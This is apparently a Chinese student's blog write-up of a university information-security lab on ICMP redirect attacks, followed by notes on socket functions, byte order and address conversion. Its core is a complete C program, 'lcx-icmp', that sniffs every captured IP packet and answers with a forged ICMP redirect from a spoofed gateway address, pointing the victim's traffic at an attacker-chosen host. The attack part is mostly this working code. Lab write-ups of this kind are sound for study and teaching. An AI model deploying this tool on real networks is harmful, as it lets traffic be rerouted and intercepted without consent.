目录

一 前言

文章不讲解理论知识哈,想学习理论知识的,认真听课,也可以参考郭老师的讲义:信息安全课程 ustcsse308

对于Linux,我只是个半路闯进来的小白,做实验过程中经常会被Linux内核玩得怀疑人生。所以我觉得很有必要先阐明实验的环境,以免各位同学不小心掉坑里。当然,如果你就是想爬坑,咱也拦不住

实验环境 / 工具:

你可能用得上的网站:

相关实验:

回到目录

二 Talk is cheap, show me the code

需要注意,下面代码的攻击目标不是对特定的IP,而是对所有捕获到的IP包都发送重定向包,如果你想修改过滤逻辑,修改pass_filter()方法就可以了。

代码 lcx-icmp.c 如下:

  1 #include<stdlib.h>
2 #include<stdio.h>
3 #include<string.h>
4 #include<unistd.h>
5 #include<sys/types.h>
6 #include<sys/socket.h>
7 #include<netinet/in.h>
8 #include<netinet/ip_icmp.h>
9 #include<linux/if_ether.h>
10 #include<arpa/inet.h>
11
12 #define BUFF_SIZE 2048
13 #define SUCCESS 1
14 #define FAILURE -1
15
16 const char *cmd_gateway = "-g";
17 const char *cmd_srcip = "--src-ip";
18 struct sockaddr_in arg_gateway;
19 struct sockaddr_in arg_srcip;
20 struct sockaddr_in target;
21 int recvsockfd = -1;
22 int sendsockfd = -1;
23 int optval = 1; // setsockopt()函数中使用
24 unsigned char recvbuff[BUFF_SIZE];
25 unsigned char sendbuff[BUFF_SIZE];
26
27 // 方法声明
28 int load_args(const int argc, char **);
29 void print_cmdprompt();
30 int icmp_redirect();
31 int pass_filter();
32 unsigned short cksum(unsigned short *, int len);
33
34 int main(int argc, char* argv[]) {
35 if (load_args(argc, argv) < 0) {
36 printf("command format error!\n");
37 print_cmdprompt();
38 return FAILURE;
39 }
40 recvsockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP));
41 sendsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
42 if (recvsockfd < 0 || sendsockfd < 0
43 || setsockopt(sendsockfd, SOL_IP, IP_HDRINCL, &optval, sizeof(optval))) {
44 perror("socket creation error");
45 return FAILURE;
46 }
47 printf("lcx-icmp running...\n\n");
48 while (1) {
49 bzero(recvbuff, BUFF_SIZE);
50 if (recv(recvsockfd, recvbuff, BUFF_SIZE, 0) > 0) {
51 if (pass_filter())
52 icmp_redirect();
53 } else {
54 sleep(1);
55 }
56 }
57 close(sendsockfd);
58 close(recvsockfd);
59 return SUCCESS;
60 }
61
62 /**
63 * 命令:lcx-icmp -g 192.168.23.132 --src-ip 192.168.23.2
64 *
65 * 载入参数:
66 * 1) arg_gateway: 192.168.23.132
67 * 2) arg_srcip: 192.168.23.2
68 *
69 * 参数标识:
70 * 1) argv[1]: -g
71 * 2) argv[3]: --src-ip
72 *
73 * @author southday
74 * @date 2019.03.29
75 */
76 int load_args(const int argc, char *argv[]) {
77 if (argc != 5
78 || strcmp(argv[1], cmd_gateway) != 0
79 || strcmp(argv[3], cmd_srcip) != 0
80 || inet_aton(argv[2], &arg_gateway.sin_addr) == 0
81 || inet_aton(argv[4], &arg_srcip.sin_addr) == 0)
82 return FAILURE;
83 return SUCCESS;
84 }
85
86 /**
87 * 打印命令提示信息
88 * @author southday
89 * @date 2019.03.29
90 */
91 void print_cmdprompt() {
92 printf("\nlcx-icmp -g [gateway_ip] --src-ip [from_ip]\n\n");
93 printf("\t -g [gateway_ip] eg: -g 192.168.23.132\n");
94 printf("\t--src-ip [from_ip] eg: --src-ip 192.168.23.2\n");
95 }
96
97 /**
98 * 发送ICMP重定向包
99 * @author southday
100 * @date 2019.03.29
101 * @return 成功与否
102 */
103 int icmp_redirect() {
104 // 以太网帧首部14字节:6B(dest_mac) + 6B(src_mac) + 2B(type or length)
105 struct ip *origin_ip = (struct ip *)(recvbuff + 14);
106 bzero(sendbuff, BUFF_SIZE);
107
108 // 构造IP首部
109 struct ip *ip = (struct ip *)sendbuff;
110 ip->ip_hl = 5;
111 ip->ip_v = 4;
112 ip->ip_tos = 0;
113 // 20B(IP首部) + 8B(重定向ICMP首部) + ?B(原始IP首部) + 8B(原始IP数据报的前8个字节)
114 ip->ip_len = htons(20 + 8 + (origin_ip->ip_hl<<2) + 8);
115 ip->ip_id = origin_ip->ip_id;
116 ip->ip_off = 0;
117 ip->ip_ttl = 64;
118 ip->ip_p = 1; // ICMP:1
119 ip->ip_sum = 0;
120 ip->ip_src = arg_srcip.sin_addr;
121 ip->ip_dst = origin_ip->ip_src;
122 // 计算IP首部校验和,只涉及首部
123 ip->ip_sum = cksum((unsigned short *)ip, 20);
124
125 // 构造ICMP首部
126 struct icmp *icmp = (struct icmp *)(sendbuff + 20);
127 icmp->icmp_type = 5; // REDIRECT TYPE = 5
128 icmp->icmp_code = 1; // 对特定主机路由的改变
129 icmp->icmp_cksum = 0;
130 icmp->icmp_hun.ih_gwaddr = arg_gateway.sin_addr;
131
132 // 拷贝原始IP首部 + 原始IP数据报的前8个字节,拷贝到sendbuff的toaddr位置
133 unsigned char *toaddr = (unsigned char *)(sendbuff + 20 + 8);
134 // 从recvbuff中取: 原始IP首部(长度为origin_ip->ip_hl<<2) + 原始IP数据报的前8个字节
135 memcpy(toaddr, (unsigned char *)origin_ip, (origin_ip->ip_hl<<2) + 8);
136 // 计算ICMP校验和,涉及首部和数据部分,包括:8字节ICMP首部 + 原始IP首部 + 原始IP数据报的前8字节
137 icmp->icmp_cksum = cksum((unsigned short *)icmp, 8 + (origin_ip->ip_hl<<2) + 8);
138
139 // 打印IP包字节数据,便于调试
140 printf(" %02x %02x", sendbuff[0], sendbuff[1]);
141 for (int i = 0, len = ntohs(ip->ip_len)-2; i < len; i++) {
142 if (i % 16 == 0)
143 printf("\n");
144 if (i % 8 == 0)
145 printf(" ");
146 printf("%02x ", sendbuff[i+2]);
147 }
148 printf("\n");
149
150 target.sin_addr = ip->ip_dst;
151 int ret = sendto(sendsockfd, sendbuff, ntohs(ip->ip_len), 0, (struct sockaddr *)&target, sizeof(target));
152 if (ret < 0) {
153 perror("send error");
154 } else {
155 printf("send a icmp redirect package!\n");
156 }
157 return SUCCESS;
158 }
159
160 /**
161 * 包过滤,过滤非TCP, UDP, ICMP的包
162 * @author southday
163 * @date 2019.03.29
164 * @return 是否通过过滤
165 */
166 int pass_filter() {
167 // 以太网帧首部14字节:6B(dest_mac) + 6B(src_mac) + 2B(type or length)
168 struct ip *ip = (struct ip *)(recvbuff + 14);
169 return (ip->ip_p == IPPROTO_TCP
170 || ip->ip_p == IPPROTO_UDP
171 || ip->ip_p == IPPROTO_ICMP);
172 }
173
174 /**
175 * 计算校验和
176 * 1) IP:IP首部
177 * 2) ICMP:首部+数据
178 * @param *addr 开始计算校验和的入口地址
179 * @param len 计算校验和所使用的数据长度,单位Byte
180 * @return 16位的校验和
181 *
182 * @author southday
183 * @date 2019.03.29
184 */
185 unsigned short cksum(unsigned short *addr, int len) {
186 int sum = 0;
187 unsigned short res = 0;
188 /* len -= 2,因为 sizeof(unsigned short) = 2;
189 * sum += *addr++,每次偏移2Byte
190 */
191 for (; len > 1; sum += *addr++, len -= 2);
192 // 每次处理2Byte,可能会存在多余的1Byte
193 sum += len == 1 ? *addr : 0;
194 // sum:高16位 + 低16位,高16位中存在可能的进位
195 sum = (sum >> 16) + (sum & 0xffff);
196 // sum + sum的高16位,高16位中存在可能的进位
197 sum += (sum >> 16);
198 // 经过2次对高16位中可能存在的进位进行处理,即可确保sum高16位中再无进位
199 res = ~sum;
200 return res;
201 }

回到目录

三 效果演示

mice端执行ping命令,如下:

hacker端执行lcx-icmp程序,如下:

我把发送的IP包字节打印出来,方便结合Wireshark进行调试;

回到目录

四 遇到的问题&解决

下面的内容是我在做实验过程中遇到的问题、疑问、思考,对不少知识点也只是浅尝辄止,仅供参考

1 ‘ETH_P_IP’ was not declared in this scope

添加头文件:#include<linux/if_ether.h>
该头文件位于:/usr/include/linux/if_ether.h

2 recv()、recvfrom() | send()、sendto()函数的使用

sendto(sd,buffer,BUFSIZ,0,(SOCKADDR*)&addrServ,sizeof(SOCKADDR));  // UDP
send(sd, buffer, BUFSIZ, 0); // TCP
recvfrom(sd,buffer,BUFSIZ,0,(SOCKADDR*)&addrClient,sizeof(SOCKADDR)); // UDP
recv(sd, buffer, BUFSIZ, 0); // TCP

recvfrom 可同时应用于面向连接和无连接的套接字;recv 一般只用在面向连接的套接字,几乎等同于recvfrom,只要将recvfrom的第5个参数设置为NULL;
recvfrom 多了两个参数,可以用来接收对端的地址信息,这个对于udp这种无连接的,可以很方便地进行回复。如果在udp当中也使用recv,那么就不知道该回复给谁了,如果你不需要回复的话,也是可以使用的。对于tcp是已经知道对端的,就没必要每次接收还多收一个地址,没必要取地址信息,在accept中就可以取得。

3 setsocketopt()函数

功能描述:获取或者设置与某个套接字关联的选项。选项可能存在于多层协议中,它们总会出现在最上面的套接字层。当操作套接字选项时,选项位于的层和选项的名称必须给出。为了操作套接字层的选项,应该将层的值指定为SOL_SOCKET。为了操作其它层的选项,控制选项的合适协议号必须给出。例如,为了表示一个选项由TCP协议解析,层应该设定为协议号TCP。
 
int getsockopt(int sock, int level, int optname, void *optval, socklen_t *optlen);
int setsockopt(int sock, int level, int optname, const void *optval, socklen_t optlen);
  • sock:将要被设置或者获取选项的套接字;
  • level:选项所在的协议层;
  • optname:需要访问的选项名;
  • optval:
    • 对于getsockopt(),指向返回选项值的缓冲;
    • 对于setsockopt(),指向包含新选项值的缓冲;
  • optlen:
    • 对于getsockopt(),作为入口参数时,选项值的最大长度。作为出口参数时,选项值的实际长度;
    • 对于setsockopt(),现选项的长度;

4 unsigned int ip_hl:4,这里的:4是什么意思?

位域,表示ip_hl只取4bit;位段(bit-field)是以位为单位来定义结构体(或联合体)中的成员变量所占的空间。含有位段的结构体(联合体)称为位段结构。采用位段结构既能够节省空间,又方便于操作。

5 为什么要使用htons(),ntohl(),ntohs(),htons()函数?

之所以需要这些函数是因为计算机数据表示存在两种字节顺序:NBO与HBO;

参考: socket编程为什么需要htons(), ntohl(), ntohs(),htons() 函数

htonl()--"Host to Network Long"
ntohl()--"Network to Host Long"
htons()--"Host to Network Short"
ntohs()--"Network to Host Short"

数字所占位数小于或等于一个字节(8 bits)时,不要用htons转换。这是因为对于主机来说,大小尾端的最小单位为字节(byte)。
网络字节顺序(NBO,Network Byte Order):按从高到低的顺序存储,在网络上使用统一的网络字节顺序,可以避免兼容性问题。
主机字节顺序(HBO,Host Byte Order):不同的机器HBO不相同,与CPU设计有关,数据的顺序是由cpu决定的,而与操作系统无关。
如 Intelx86结构下,short型数0x1234表示为34 12,int型数0x12345678表示为78 56 34 12;如IBM power PC结构下,short型数0x1234表示为12 34,int型数0x12345678表示为12 34 56 78;

6 关于大端法、小端法

例如有个变量x为int型,存放在地址0x100的地方,其16进制值为:0x12345678,地址范围是0x100~0x103;

大端法存储:

小端法存储:

最高有效位( most significant bit,MSB)指的是一个n位二进制数字中的n-1位,具有最高的权值2^(n-1)。最低有效位和最高有效位是相对应的概念。在大端序中,msb即指最左端的位。
高、低字节:按平时书写习惯,从左到右是高位到低位的顺序;
高、低地址:内存地址可以对应十六进制的数值,值大的为高地址,否则为低地址;

字节顺序是指占内存多于一个字节类型的数据在内存中的存放顺序,通常有小端、大端两种字节顺序:

  • 大端字节序:是高字节数据存放在低地址处,低字节数据存放在高地址处;
  • 小端字节序:指低字节数据存放在内存低地址处,高字节数据存放在内存高地址处;

7 inet_aton()是什么函数?检测ip地址正确性?inet_ntoa()函数呢?

参考:

需要包含头文件:

1 #include<sys/socket.h>
2 #include<netinet/in.h>
3 #include<arpa/inet.h>

int inet_aton(const char *string, struct in_addr *addr)
输入参数:
  • string 包含ASCII码表示的IP地址;
  • *addr 用来保存转换后新的IP地址结构(网络字节序的二进制);

返回值:

  • 成功则返回非0值,返回1;
  • 失败则返回0值;

char *inet_ntoa(struct in_addr in);

该函数将一个网络字节顺序的IP地址转换为它所对应的点分十进制串;
输入参数:in 网络字节序IP地址;
返回值:返回点分十进制字符串的指针;

8 为什么使用inet_pton()、inet_ntop()函数?它们与inet_aton()、inet_ntoa()有什么区别?

#include <arpa/inet.h>
int inet_pton(int family, const char * strptr, void * addrptr);
返回:1(成功),0(输入不是有效的表达格式 ), -1(出错);
 
const char * inet_ntop(int family, const void * addrptr, char * strptr, size_t len);
其中 len =sizeof(* strptr);
返回: 指向结果的指针(成功), NULL(出错)
 
很明显,pton 对应 aton,ntop 对应 ntoa,虽然实现效果相同,但是它们的参数不同,根据 /usr/include/netinet/ip.h 中关于结构体iphdr和ip的定义即可看出区别:
  • 如果你使用struct ip,那么使用inet_aton()、inet_ntoa();
  • 如果你使用struct iphdr,那么使用inet_pton()、inet_ntop();
 1 struct iphdr
2 {
3 #if __BYTE_ORDER == __LITTLE_ENDIAN
4 unsigned int ihl:4;
5 unsigned int version:4;
6 #elif __BYTE_ORDER == __BIG_ENDIAN
7 unsigned int version:4;
8 unsigned int ihl:4;
9 #else
10 # error "Please fix <bits/endian.h>"
11 #endif
12 uint8_t tos;
13 uint16_t tot_len;
14 uint16_t id;
15 uint16_t frag_off;
16 uint8_t ttl;
17 uint8_t protocol;
18 uint16_t check;
19 uint32_t saddr;
20 uint32_t daddr;
21 /*The options start here. */
22 };
23
24 struct ip
25 {
26 #if __BYTE_ORDER == __LITTLE_ENDIAN
27 unsigned int ip_hl:4; /* header length */
28 unsigned int ip_v:4; /* version */
29 #endif
30 #if __BYTE_ORDER == __BIG_ENDIAN
31 unsigned int ip_v:4; /* version */
32 unsigned int ip_hl:4; /* header length */
33 #endif
34 uint8_t ip_tos; /* type of service */
35 unsigned short ip_len; /* total length */
36 unsigned short ip_id; /* identification */
37 unsigned short ip_off; /* fragment offset field */
38 #define IP_RF 0x8000 /* reserved fragment flag */
39 #define IP_DF 0x4000 /* dont fragment flag */
40 #define IP_MF 0x2000 /* more fragments flag */
41 #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
42 uint8_t ip_ttl; /* time to live */
43 uint8_t ip_p; /* protocol */
44 unsigned short ip_sum; /* checksum */
45 struct in_addr ip_src, ip_dst; /* source and dest address */
46 };

回到目录

转载请说明出处! have a good time ~

科软-信息安全实验1-ICMP重定向的更多相关文章

  1. 科软-信息安全实验3-Rootkit劫持系统调用

    目录 一 前言 二 Talk is cheap, show me the code 三 前期准备 四 效果演示 五 遇到的问题&解决 六 18.04的坑 七 参考资料 八 老师可能的提问 一 ...

  2. 科软-信息安全实验2-netfilter实验

    目录 一 前言 二 Talk is cheap, show me the code 三 前期准备 四 效果演示 五 遇到的问题&解决 六 参考资料 七 老师提供的代码 一 前言 文章不讲解理论 ...

  3. 实验二:ICMP重定向攻击

    -:实验原理 ICMP重定向信息是路由器向主机提供实时的路由信息,当一个主机收到ICMP重定向信息时,它就会根据这个信息来更新自己的路由表.由于缺乏必要的合法性检查,如果一个黑客想要被攻击的主机修改它 ...

  4. [na]icmp重定向

    这个东西最多平时翻看书时候yy以下或者gns3模拟一下, 实际中还真不曾遇到,直到今天,帮别人解决一个问题时候,抓icmp包发现这个.....忘记了原理,梳理一下 icmp重定向问题 参考

  5. ICMP重定向及其攻防技术

    1.ICMP重定向概念: ICMP重定向技术,是用来提示主机改变自己的主机路由从而使路由路径最优化的一种ICMP报文.其概念理解的要义是原主机路由不是最佳路由,而其默认网关提醒主机优化自身的主机路由而 ...

  6. GNS3 模拟icmp重定向

    网关实质上是一个网络通向其他网络的IP地址.比如有网络A和网络B,网络A的IP地址范围为“192.168.1.1~192. 168.1.254”,子网掩码为255.255.255.0:网络B的IP地址 ...

  7. 哈工大 信息安全实验 XSS跨站脚本攻击原理与实践

    XX大学XX学院 <网络攻击与防御> 实验报告 实验报告撰写要求 实验操作是教学过程中理论联系实际的重要环节,而实验报告的撰写又是知识系统化的吸收和升华过程,因此,实验报告应该体现完整性. ...

  8. 哈工大 信息安全 实验 Snort与单台防火墙联动实验

    XX大学XX学院 <网络攻击与防御> 实验报告 实验报告撰写要求 实验操作是教学过程中理论联系实际的重要环节,而实验报告的撰写又是知识系统化的吸收和升华过程,因此,实验报告应该体现完整性. ...

  9. ICMP重定向 Redirect netwox libpcap netwag

    搭建环境 两台虚拟机. 攻击者:192.168.1.8 被攻击者:192.168.1.9 网络配置 主机均采用DHCP 如果没有路由器,可以使用NAT模式来做 攻击者配置 打开转发数据包功能 # su ...

随机推荐

  1. python3 利用VideoCapture模块读取多个相机名称

    模块pip安装地址:https://www.lfd.uci.edu/~gohlke/pythonlibs/#videocapture

  2. ExecutorService 的Future类

    1.概述 在本文中,我们将了解Future.自Java 1.5以来一直存在的接口,在处理异步调用和并发处理时非常有用. 2.创建Future 简单地说,Future类表示异步计算的未来结果 - 这个结 ...

  3. 吴裕雄--天生自然神经网络与深度学习实战Python+Keras+TensorFlow:LSTM网络层详解及其应用

    from keras.layers import LSTM model = Sequential() model.add(embedding_layer) model.add(LSTM(32)) #当 ...

  4. Flutter Container 组件、Text 组件详解

    Text 组件 textAlign     文本对齐方式(center 居中,left 左对齐,right 右对齐,justfy 两端对齐) textDirection   文本方向(ltr 从左至右 ...

  5. jQuery中$.fn

    $.fn是指jquery的命名空间,加上fn上的方法及属性,会对jquery实例每一个有效. 如扩展$.fn.abc(),即$.fn.abc()是对jquery扩展了一个abc方法,那么后面你的每一个 ...

  6. CentOS安装MySQL的步骤

    1.下载 Mysql yum包 http://dev.mysql.com/doc/mysql-yum-repo-quick-guide/en/ 下载到本地再上传到服务器,或者使用wget 直接下载 w ...

  7. Python:面向对象基础

    基本理论 什么是对象 万物皆对象 对象是具体的事物 拥有属性.行为 把许多零散的东西,封装成为一个整体 Python中一切东西都是对象,Python是一门特别彻底的面向对象编程语言(OOP) 其他编程 ...

  8. Thymeleaf Tutorial 文档 中文翻译

    原文档地址:https://www.thymeleaf.org/doc/tutorials/3.0/usingthymeleaf.html Thymeleaf官网地址:https://www.thym ...

  9. 微权获取openid信授

    (1)首页要有一个自己的微信测试号的appid和秘钥 (2)公司里都是后台传code(接口),获取openid(接口) 请求code接口:/Wechat/GetUserInfo/getCode //判 ...

  10. 24 JavaScript对象访问器&JavaScript对象构造器

    ES5引入了Getter和Setter Getter和Setter允许定义对象访问器 JavaScript Getter(get关键字):获取对象属性 <script> var perso ...